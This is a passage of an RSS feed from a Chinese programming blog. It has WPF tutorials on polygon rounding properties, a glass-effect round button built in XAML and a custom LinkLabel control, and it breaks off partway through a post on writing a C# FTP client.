&lt;p&gt;多边形有四个主要属性
ArcRoundness 属性指定了从距离LineSegment终点多远的距离开始弯曲，通常和UseRoundnessPercentage 一起使用。UseRoundnessPercentage属性指定了ArcRoundness 值是百分比还是一个固定的值。&lt;/p&gt;
&lt;p&gt;举个例子。ArcRoundness 被设置成10，而且UseRoundnessPercentage 被设置成false，那么弯曲将会在距离线段终点10的地方开始。而如果UseRoundnessPercentage 被设置成ture。则会是从线段终点10%的地方开始弯曲。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;/// &amp;lt;summary&amp;gt; 
/// Gets or sets a value that specifies the arc roundness.
/// &amp;lt;/summary&amp;gt;
public double ArcRoundness { get; set; }

/// &amp;lt;summary&amp;gt;  
/// Gets or sets a value that specifies if the ArcRoundness property
/// value will be used as a percentage of the connecting segment or not.
/// &amp;lt;/summary&amp;gt;
public bool UseRoundnessPercentage { get; set; }&lt;/pre&gt;
&lt;p&gt;IsClosed 指定多边形的最后一个点是否和第一个点闭合。为了成为一个多边形。一般应该被设置为true&lt;/p&gt;</description>
    </item>
    <item>
      <title>一步步教你制作WPF圆形玻璃按钮</title>
      <link>http://blog.leaver.me/2012/10/12/%E4%B8%80%E6%AD%A5%E6%AD%A5%E6%95%99%E4%BD%A0%E5%88%B6%E4%BD%9Cwpf%E5%9C%86%E5%BD%A2%E7%8E%BB%E7%92%83%E6%8C%89%E9%92%AE/</link>
      <pubDate>Fri, 12 Oct 2012 09:31:00 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/12/%E4%B8%80%E6%AD%A5%E6%AD%A5%E6%95%99%E4%BD%A0%E5%88%B6%E4%BD%9Cwpf%E5%9C%86%E5%BD%A2%E7%8E%BB%E7%92%83%E6%8C%89%E9%92%AE/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28015_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/491dd2dbc974b8c78aee2f36006e65ad3e5533f2.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;
&lt;strong&gt;1.介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;从我开始使用vista的时候，我就非常喜欢它的圆形玻璃按钮。WPF最好的一个方面就是允许自定义任何控件的样式。用了一段时间的Microsoft Expression Blend后。我做出了这个样式。我觉得做的还行。因为。我决定分享。如我所说。我使用Microsoft Expression Blend来做。但是。我也是用XAML编辑器&amp;ndash;Kaxaml。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.概述&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;玻璃按钮样式包含了三层。组织了玻璃效果（Glass Effect）和一个ContentPresenter 来存储按钮的内容。所有的这些层都在一个最外层的Grid里。当鼠标放到按钮上，按下去的时候也定义了一些触发器（Triggers），来增加一些交互。&lt;/p&gt;
&lt;p&gt;我把这个样式做成了资源文件。但是这个Key可以删除，来使得所有的按钮都是这个效果。&lt;/p&gt;
&lt;p&gt;好我们来看一下这些层次。这些被广泛应用在微软产品中的按钮。&lt;/p&gt;
&lt;p&gt;**3.按钮层次 **&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.1背景层&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第一层是一个椭圆。其实是一个canvas，一会在上面画反射和折射层，填充的颜色和按钮的背景（Background）关联。&lt;/p&gt;
&lt;p&gt;下面是Blend中的截图&lt;/p&gt;
&lt;p&gt;图2
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28012_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2443ed6bf6b648418ee018a527c9a76eaf277716.png&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;!-- Background Layer --&amp;gt;
&amp;lt;Ellipse Fill=&#34;{TemplateBinding Background}&#34;/&amp;gt;&lt;/pre&gt;
&lt;!-- Background Layer --&gt;
&lt;p&gt;&lt;strong&gt;3.1.1折射层&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第二层模拟了光从上到下的折射。被放在反射层之前是因为，要达到反光玻璃的效果，反射层必须在按钮的中间某处有一个硬边缘。这一层实际上是另一个椭圆。但是这次。我们使用一个径向渐变（白色-透明）的填充。来模拟光的折射。渐变开始于第一层底部的中央。结束于上面的中间。然而。为了降低折射光的强度。渐变还是开始于椭圆的底部再下一点为好。可以从图上和代码里清晰的看到。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28013_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/9d0d815903ff370933cfca9fcd669ae09996e045.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;&amp;lt;!-- Refraction Layer --&amp;gt;
&amp;lt;Ellipse x:Name=&#34;RefractionLayer&#34;&amp;gt;
  &amp;lt;Ellipse.Fill&amp;gt;
  &amp;lt;RadialGradientBrush GradientOrigin=&#34;0.496,1.052&#34;&amp;gt;
    &amp;lt;RadialGradientBrush.RelativeTransform&amp;gt;
      &amp;lt;TransformGroup&amp;gt;
        &amp;lt;ScaleTransform CenterX=&#34;0.5&#34; 
          CenterY=&#34;0.5&#34; ScaleX=&#34;1.5&#34; ScaleY=&#34;1.5&#34;/&amp;gt;
        &amp;lt;TranslateTransform X=&#34;0.02&#34; Y=&#34;0.3&#34;/&amp;gt;
      &amp;lt;/TransformGroup&amp;gt;
    &amp;lt;/RadialGradientBrush.RelativeTransform&amp;gt;
    &amp;lt;GradientStop Offset=&#34;1&#34; Color=&#34;#00000000&#34;/&amp;gt;
    &amp;lt;GradientStop Offset=&#34;0.4&#34; Color=&#34;#FFFFFFFF&#34;/&amp;gt;
    &amp;lt;/RadialGradientBrush&amp;gt;
  &amp;lt;/Ellipse.Fill&amp;gt;
&amp;lt;/Ellipse&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;!-- Refraction Layer --&gt;
&lt;p&gt;&lt;strong&gt;3.1.2反射层&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第三层是光的反射层。是最难的部分。问题是反射效果不能使用任何标准的形状来画。因此。使用路径（Path）来画反射区域。当时。手工画也是可以的。但老实说。手工画图实在没什么可享受的（除非你是一个艺术家，或者有一个数位板），无论如何。我现在MS Blend中华好一个椭圆并转换成一个路径，然后我使用贝塞尔曲线点调整得到平滑的路径，你可以添加渐变到一个复杂的Path对象上。就像你对其他与定义的图形，比如椭圆，矩形所做的一样。为了得到光泽反射。我额每年需要一个透明-白色的径向渐变填充，从路径的底部开始（也就是按钮的中间某处），结束在顶部。我想如果我是一个艺术家。我会让渐变更准一点。可是我不是。因此。就这样。因为我们要把我们的按钮放在一个Grid里。所有我们设置VerticalAlignment=&amp;ldquo;Top&amp;rdquo; 这样反射区域在按钮的中间的结束了。&lt;/p&gt;
&lt;p&gt;图三
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28014_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a837470f0822bf1b924293855638d696dc4dba4a.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;&amp;lt;!-- Reflection Layer --&amp;gt;
&amp;lt;Path x:Name=&#34;ReflectionLayer&#34; VerticalAlignment=&#34;Top&#34; Stretch=&#34;Fill&#34;&amp;gt;
  &amp;lt;Path.RenderTransform&amp;gt;
    &amp;lt;ScaleTransform ScaleY=&#34;0.5&#34; /&amp;gt;
  &amp;lt;/Path.RenderTransform&amp;gt;
  &amp;lt;Path.Data&amp;gt;
    &amp;lt;PathGeometry&amp;gt;
      &amp;lt;PathFigure IsClosed=&#34;True&#34; StartPoint=&#34;98.999,45.499&#34;&amp;gt;
        &amp;lt;BezierSegment Point1=&#34;98.999,54.170&#34; Point2=&#34;89.046,52.258&#34; 
           Point3=&#34;85.502,51.029&#34;/&amp;gt;
        &amp;lt;BezierSegment IsSmoothJoin=&#34;True&#34; Point1=&#34;75.860,47.685&#34; 
           Point2=&#34;69.111,45.196&#34; Point3=&#34;50.167,45.196&#34;/&amp;gt;
        &amp;lt;BezierSegment Point1=&#34;30.805,45.196&#34; Point2=&#34;20.173,47.741&#34; 
           Point3=&#34;10.665,51.363&#34;/&amp;gt;
        &amp;lt;BezierSegment IsSmoothJoin=&#34;True&#34; Point1=&#34;7.469,52.580&#34; 
           Point2=&#34;1.000,53.252&#34; Point3=&#34;1.000,44.999&#34;/&amp;gt;
        &amp;lt;BezierSegment Point1=&#34;1.000,39.510&#34; Point2=&#34;0.884,39.227&#34; 
           Point3=&#34;2.519,34.286&#34;/&amp;gt;
        &amp;lt;BezierSegment IsSmoothJoin=&#34;True&#34; Point1=&#34;9.106,14.370&#34; 
           Point2=&#34;27.875,0&#34; Point3=&#34;50,0&#34;/&amp;gt;
        &amp;lt;BezierSegment Point1=&#34;72.198,0&#34; Point2=&#34;91.018,14.466&#34; 
           Point3=&#34;97.546,34.485&#34;/&amp;gt;
        &amp;lt;BezierSegment IsSmoothJoin=&#34;True&#34; Point1=&#34;99.139,39.369&#34; 
           Point2=&#34;98.999,40.084&#34; Point3=&#34;98.999,45.499&#34;/&amp;gt;
      &amp;lt;/PathFigure&amp;gt;
    &amp;lt;/PathGeometry&amp;gt;
  &amp;lt;/Path.Data&amp;gt;
  &amp;lt;Path.Fill&amp;gt;
    &amp;lt;RadialGradientBrush GradientOrigin=&#34;0.498,0.526&#34;&amp;gt;
      &amp;lt;RadialGradientBrush.RelativeTransform&amp;gt;
        &amp;lt;TransformGroup&amp;gt;
          &amp;lt;ScaleTransform CenterX=&#34;0.5&#34; 
            CenterY=&#34;0.5&#34; ScaleX=&#34;1&#34; ScaleY=&#34;1.997&#34;/&amp;gt;
          &amp;lt;TranslateTransform X=&#34;0&#34; Y=&#34;0.5&#34;/&amp;gt;
        &amp;lt;/TransformGroup&amp;gt;
      &amp;lt;/RadialGradientBrush.RelativeTransform&amp;gt;
      &amp;lt;GradientStop Offset=&#34;1&#34; Color=&#34;#FFFFFFFF&#34;/&amp;gt;
      &amp;lt;GradientStop Offset=&#34;0.85&#34; Color=&#34;#92FFFFFF&#34;/&amp;gt;
      &amp;lt;GradientStop Offset=&#34;0&#34; Color=&#34;#00000000&#34;/&amp;gt;
    &amp;lt;/RadialGradientBrush&amp;gt;
  &amp;lt;/Path.Fill&amp;gt;
&amp;lt;/Path&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;!-- Reflection Layer --&gt;
&lt;p&gt;最后。我添加一个ContentPresenter 到按钮中间。经验告诉我，内容区域再向下一个像素会使得按钮看起来更漂亮。因此，在这里我用了margin属性（注意。因为内容区域在Grid的中间（Center）。所以2个像素的top实际上是向下移动了一个像素 ）&lt;/p&gt;
&lt;p&gt;好了。最后在Blend中看起来大概是这样&lt;/p&gt;
&lt;p&gt;图4
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28011_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/19fbafa7ad1cde09eafc0f6a70ac27b576e6302c.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4.添加一些交互性&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4.1鼠标悬停效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为了有鼠标悬停效果，我们需要增加光源的亮度。因此。我们为IsMouseOver 事件定义一个触发器，复制并且粘贴反射和折射层的渐变设置代码。对于折射层。我仅仅移动了渐变的起点向上了一点。在反射层中。我改变了渐变停止点。使不透明的白色多一点。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Trigger Property=&#34;IsMouseOver&#34; Value=&#34;True&#34;&amp;gt;
  &amp;lt;Setter TargetName=&#34;RefractionLayer&#34; Property=&#34;Fill&#34;&amp;gt;
    &amp;lt;Setter.Value&amp;gt;
      &amp;lt;RadialGradientBrush GradientOrigin=&#34;0.496,1.052&#34;&amp;gt;
        &amp;lt;RadialGradientBrush.RelativeTransform&amp;gt;
          &amp;lt;TransformGroup&amp;gt;
            &amp;lt;ScaleTransform CenterX=&#34;0.5&#34; CenterY=&#34;0.5&#34; 
               ScaleX=&#34;1.5&#34; ScaleY=&#34;1.5&#34;/&amp;gt;
            &amp;lt;TranslateTransform X=&#34;0.02&#34; Y=&#34;0.3&#34;/&amp;gt;
          &amp;lt;/TransformGroup&amp;gt;
        &amp;lt;/RadialGradientBrush.RelativeTransform&amp;gt;
      &amp;lt;GradientStop Offset=&#34;1&#34; Color=&#34;#00000000&#34;/&amp;gt;
      &amp;lt;GradientStop Offset=&#34;0.45&#34; Color=&#34;#FFFFFFFF&#34;/&amp;gt;
      &amp;lt;/RadialGradientBrush&amp;gt;
    &amp;lt;/Setter.Value&amp;gt;
  &amp;lt;/Setter&amp;gt;
  &amp;lt;Setter TargetName=&#34;ReflectionLayer&#34; Property=&#34;Fill&#34;&amp;gt;
    &amp;lt;Setter.Value&amp;gt;
      &amp;lt;RadialGradientBrush GradientOrigin=&#34;0.498,0.526&#34;&amp;gt;
        &amp;lt;RadialGradientBrush.RelativeTransform&amp;gt;
          &amp;lt;TransformGroup&amp;gt;
            &amp;lt;ScaleTransform CenterX=&#34;0.5&#34; CenterY=&#34;0.5&#34; 
               ScaleX=&#34;1&#34; ScaleY=&#34;1.997&#34;/&amp;gt;
            &amp;lt;TranslateTransform X=&#34;0&#34; Y=&#34;0.5&#34;/&amp;gt;
          &amp;lt;/TransformGroup&amp;gt;
        &amp;lt;/RadialGradientBrush.RelativeTransform&amp;gt;
        &amp;lt;GradientStop Offset=&#34;1&#34; Color=&#34;#FFFFFFFF&#34;/&amp;gt;
        &amp;lt;GradientStop Offset=&#34;0.85&#34; Color=&#34;#BBFFFFFF&#34;/&amp;gt;
        &amp;lt;GradientStop Offset=&#34;0&#34; Color=&#34;#00000000&#34;/&amp;gt;
      &amp;lt;/RadialGradientBrush&amp;gt;
    &amp;lt;/Setter.Value&amp;gt;
  &amp;lt;/Setter&amp;gt;
&amp;lt;/Trigger&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>自定义WPF LinkLabel 控件</title>
      <link>http://blog.leaver.me/2012/10/11/%E8%87%AA%E5%AE%9A%E4%B9%89wpf-linklabel-%E6%8E%A7%E4%BB%B6/</link>
      <pubDate>Thu, 11 Oct 2012 13:24:02 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/11/%E8%87%AA%E5%AE%9A%E4%B9%89wpf-linklabel-%E6%8E%A7%E4%BB%B6/</guid>
      <description>&lt;p&gt;WPF里是没有LinkLabel控件的。因此我自己写一个。首先。我们看一下WPF中什么类似的组件可以实现这个链接功能&lt;/p&gt;
&lt;p&gt;如果你想要模拟一个LinkLabel控件。你可以在TextBlock里使用内联的Hyperlink。像下面这样&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;TextBlock&amp;gt;
    &amp;lt;Hyperlink&amp;gt;
        &amp;lt;Run Text=&#34;Test link&#34;/&amp;gt;
    &amp;lt;/Hyperlink&amp;gt;
&amp;lt;/TextBlock&amp;gt;&lt;/pre&gt;
&lt;p&gt;你可以使用Label控件。加一个内联的HyperLink，但是我认为TextBlock更好。因为你可以在Expression Blend 中通过&lt;a href=&#34;http://msdn2.microsoft.com/en-us/library/system.windows.documents.inlinecollection.aspx&#34; title=&#34;InlineCollection&#34;&gt;InlineCollection&lt;/a&gt;  编辑所有子元素的属性&lt;/p&gt;
&lt;p&gt;图1&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27987_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2fbf37d3f59121424e1f68d6ac6e2a461f8e1ab9.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;
虽然这种方法也行，但是我还是不太喜欢。因为我觉得我还是写一个类似windows窗体程序中的LinkLabel控件。然后我就做了。首先看一下控件的样子&lt;/p&gt;
&lt;p&gt;图2&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27988_o.gif&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b4438242681c5adebadef5aff0f7f2145be09a43.gif&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;第一个是默认的LinkLabel控件。第二个是LinkLabelBehavior 属性被设置为HoverUnderline ，第三个的Foreground和 HoverForeground 属性都使用了自定的颜色。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;LinkLabel控件支持的属性&lt;/p&gt;
&lt;p&gt;1.Foreground和 HoverForeground属性&lt;/p&gt;
&lt;p&gt;允许自定义这两个属性的值&lt;/p&gt;
&lt;p&gt;2.LinkLabelBehavior 属性&lt;/p&gt;
&lt;p&gt;允许设置下划线的显示与否&lt;/p&gt;
&lt;p&gt;3.自定义HyperlinkStyle 属性&lt;/p&gt;
&lt;p&gt;你可以使用这个属性给超链接设置自定义的样式。如果你已经自定了Foreground和 HoverForeground。则会被覆盖。&lt;/p&gt;
&lt;p&gt;Url 超链接的目标&lt;/p&gt;
&lt;p&gt;所有这些属性都继承自标准的System.Windows.Controls.Label 控件&lt;/p&gt;
&lt;p&gt;通过Blend/Xaml设置这些属性很简单&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;ThemedControlLibrary:LinkLabel Content=&#34;Link Label&#34; FontSize=&#34;22&#34;/&amp;gt;
&amp;lt;ThemedControlLibrary:LinkLabel Content=&#34;Link Label&#34; LinkLabelBehavour=&#34;HoverUnderline&#34; /&amp;gt;
&amp;lt;ThemedControlLibrary:LinkLabel Foreground=&#34;#FF847901&#34; HoverForeground=&#34;#FF06C8F2&#34; Content=&#34;Link Label&#34; LinkLabelBehavour=&#34;NeverUnderline&#34;/&amp;gt;&lt;/pre&gt;
&lt;p&gt;图三&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27989_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a3a5126a4aba4698c3916d5a9e92f4daa7d77b97.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后是控件的使用方法。仅仅添加命名空间到xaml中。然后使用就行了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Window
    xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
    xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
    x:Class=&#34;DemoApplication.Window1&#34;
    Title=&#34;DemoApplication&#34; Height=&#34;300&#34; Width=&#34;300&#34;
    xmlns:ThemedControlsLibrary=&#34;clr-namespace:ThemedControlsLibrary;assembly=ThemedControlsLibrary&#34;
    &amp;gt;
    &amp;lt;Grid&amp;gt;
        &amp;lt;ThemedControlsLibrary:LinkLabel HorizontalAlignment=&#34;Left&#34; VerticalAlignment=&#34;Top&#34; Content=&#34;LinkLabel&#34;/&amp;gt;
    &amp;lt;/Grid&amp;gt;
&amp;lt;/Window&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;控件的完整代码很简单。就定义一下需要的属性，和控制这些属性应该显示在Blend中的（category）目录位置就行了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public class LinkLabel : Label
{
    private const string _linkLabel = &#34;LinkLabel&#34;;

    public static readonly DependencyProperty UrlProperty = DependencyProperty.Register(&#34;Url&#34;, typeof(Uri), typeof(LinkLabel));

    [Category(&#34;Common Properties&#34;), Bindable(true)]
    public Uri Url
    {
        get { return GetValue(UrlProperty) as Uri; }
        set { SetValue(UrlProperty, value); }
    }

    public static readonly DependencyProperty HyperlinkStyleProperty = DependencyProperty.Register(&#34;HyperlinkStyle&#34;, typeof(Style),
            typeof(LinkLabel));

    public Style HyperlinkStyle
    {
        get { return GetValue(HyperlinkStyleProperty) as Style; }
        set { SetValue(HyperlinkStyleProperty, value); }
    }

    public static readonly DependencyProperty HoverForegroundProperty = DependencyProperty.Register(&#34;HoverForeground&#34;, typeof(Brush),
            typeof(LinkLabel));

    [Category(&#34;Brushes&#34;), Bindable(true)]
    public Brush HoverForeground
    {
        get { return GetValue(HoverForegroundProperty) as Brush; }
        set { SetValue(HoverForegroundProperty, value); }
    }

    public static readonly DependencyProperty LinkLabelBehavourProperty = DependencyProperty.Register(&#34;LinkLabelBehavour&#34;,            typeof(LinkLabelBehaviour),     typeof(LinkLabel));

    [Category(&#34;Common Properties&#34;), Bindable(true)]
    public LinkLabelBehaviour LinkLabelBehavour
    {
        get { return (LinkLabelBehaviour)GetValue(LinkLabelBehavourProperty); }
        set { SetValue(LinkLabelBehavourProperty, value); }
    }

    static LinkLabel()
    {
        FrameworkElement.DefaultStyleKeyProperty.OverrideMetadata(
            typeof(LinkLabel),
            new FrameworkPropertyMetadata(typeof(LinkLabel)));
    }

}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>C#编写FTP客户端软件</title>
      <link>http://blog.leaver.me/2012/10/09/c%23%E7%BC%96%E5%86%99ftp%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%BD%AF%E4%BB%B6/</link>
      <pubDate>Tue, 09 Oct 2012 09:06:16 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/09/c%23%E7%BC%96%E5%86%99ftp%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%BD%AF%E4%BB%B6/</guid>
      <description>&lt;h1&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27933_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/df5f8fbfeaeabe639c893a078ddeda6cac4361db.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;h1 id=&#34;1-介绍&#34;&gt;1 介绍&lt;/h1&gt;
&lt;p&gt;我知道。网上有很多现成的FTP软件。但是。我们也想要了解FTP的一些底层机构，因此。 这个开源的项目在你学习FTP知识的时候也许对你有些帮组。程序的界面看起来像FileZilla，FileZilla虽然流行但是有些bug，当我打开我博客的时候总是有问题。我需要通过FTP连接我的服务器。发送文件，下载文件等等。因为。我决定写我自己的软件来处理所有的情况。FileZilla足够好。但它不是我的。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;2-背景&#34;&gt;2 背景&lt;/h1&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;看看我们已经知道的。我们知道FTP是一个标准的基于TCP网络协议。用于从一个主机向另一个主机传输文件。它是一个C/S架构。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;图2&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27934_o.gif&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ceb7abd419bd3e983fa8f9cbf1962546cc0880a4.gif&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;FTP程序曾经是基于命令行的。我们仍沿可以通过cmd.exe连接FTP服务器。因为FTP的确可以通过命令来操作。举个例子。我们可以在命令行使用“stor”命令来发送文件。为了完成这些请求。FTP服务器需要一直运行等待即将到来的客户端请求。我们可以从来自维基百科的解释更好的理解FTP：&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;客户端计算机可以通过服务器的21端口和服务器通信。叫做控制连接。它在一次会话期间保持开放。第一次连接的时候。叫做数据连接,服务器可以对客户端打开20端口（主动模式），建立一条数据通路，连接上客户端传输数据。或者客户端打开一个随机的端口（被动模式），去连接服务器，来传输数据。控制连接使用一个类似Telnet的协议，被用作客户端和服务器会话管理（命令，标识，密码）。。比如。&amp;ldquo;RETR &lt;em&gt;filename&lt;/em&gt;&amp;rdquo;  会从服务器端下载文件。&lt;/p&gt;
&lt;p&gt;图三&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/9c06cc0d8d904390202ef269a18467324df590c9.gif&#34; title=&#34;3&#34;&gt;&lt;/p&gt;
&lt;p&gt;一个完整的FTP文件传输需要建立两种类型的连接，一种为文件传输下命令，称为控制连接，另一种实现真正的文件传输，称为数据连接。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;服务器 通过三位ASCII的数字状态码，可能包含可选的描述信息，在控制连接上做出回应。比如。“200”或者是“200 OK”,表示上一条命令成功了。数字代表编号，描述信息给出了一些说明（比如“OK”）,或者可能是一些需要的参数(比如需要帐号来存储文件)，那么我们需要怎么做呢。很明显。发送命令，接收“OK”回应，发送数据。接收数据。完了。但是首先需要服务器已经准备好了。FTP服务器可以在主动和被动两种模式下运行。主动模式是基于服务器的连接而被动模式是基友客户端的连接。继续看。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;在主动连接中，客户端把自己的ip和端口发送给服务器。然后服务器尝试连接到客户端，但是可能会因为防火墙的原因而被拒绝。我们在windows上都会使用反病毒/自带防火墙。是吧。那么我们来看看被动模式&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;在被动连接中。服务器通过一个“PASV”命令把自己的ip和端口发送给客户端。然后客户端通过该IP尝试连接服务器。对于发送文件非常有用。当我们发送文件的时候。优先使用“PASV”模式，如你们所说。大多数协议。像FTP/HTTP 使用ASCII编码，因为全球可用。因此我们会使用这种编码。你可以从下面得到FTP的命令列表&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;主动和被动都是对于服务器端来说的&lt;/p&gt;
&lt;h1 id=&#34;3-使用代码&#34;&gt;3 使用代码&lt;/h1&gt;
&lt;p&gt;现在我们已经为编写软件做好准备了。我们写些有用的代码吧。：）首先。我们“打开文件对话框”，集成到我们的窗体里。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;31-资源管理器组件&#34;&gt;3.1 资源管理器组件&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;我们需要一个资源管理器组件在软件界面可以看到我们所有的文件。这样我们才可以选择哪些文件来发送到FTP服务器，新建一个Windows窗体控件库（下载包中提供了）&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;图四&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27937_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b2ae5f59d51b1a183a0ceea50a2c9497971422e7.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;最后看起来样子是上面这样。先添加一个TreeView，一些按钮，和一个搜索功能&lt;/p&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;TreeView.Nodes.Clear();
&lt;p&gt;TreeNode nodeD = new TreeNode();&lt;/p&gt;
&lt;p&gt;nodeD.Tag = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);&lt;/p&gt;
&lt;p&gt;nodeD.Text = &amp;ldquo;Desktop&amp;rdquo;;&lt;/p&gt;
&lt;p&gt;nodeD.ImageIndex = 10;&lt;/p&gt;
&lt;p&gt;nodeD.SelectedImageIndex = 10;&lt;/p&gt;
&lt;p&gt;TreeView.Nodes.Add(nodeD);&lt;/pre&gt;
 &lt;/p&gt;
&lt;/div&gt;
就像上面代码展示的那样。我们需要添加地一个主节点。我的文档。我的电脑等等。然后获得子目录。
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;string[] dirList;
dirList = Directory.GetDirectories(parentNode.Tag.ToString());
Array.Sort(dirList);
if (dirList.Length == parentNode.Nodes.Count)
    return;
for (int i = 0; i &amp;lt; dirList.Length; i++)
{
    node = new TreeNode();
    node.Tag = dirList[i]; 
    node.Text = dirList[i].Substring(dirList[i].LastIndexOf(@&#34;\&#34;) + 1);
    node.ImageIndex = 1;
    parentNode.Nodes.Add(node);
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;可以从下载包里看到完整的代码。我们还应该处理鼠标单击事件。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;现在我们有了一个资源管理器。还有FTP和VS所需要的所有信息。&lt;/p&gt;
&lt;p&gt;首先，我们连接服务器。我们应该怎么做呢？&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;FTPSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
AppendText(rchLog,&#34;Status : Resolving IP Address\n&#34;,Color.Red);
remoteAddress = Dns.GetHostEntry(Server).AddressList[0];
AppendText(rchLog, &#34;Status : IP Address Found -&amp;gt;&#34; + remoteAddress.ToString() + &#34;\n&#34;, Color.Red);
addrEndPoint = new IPEndPoint(remoteAddress, Port);
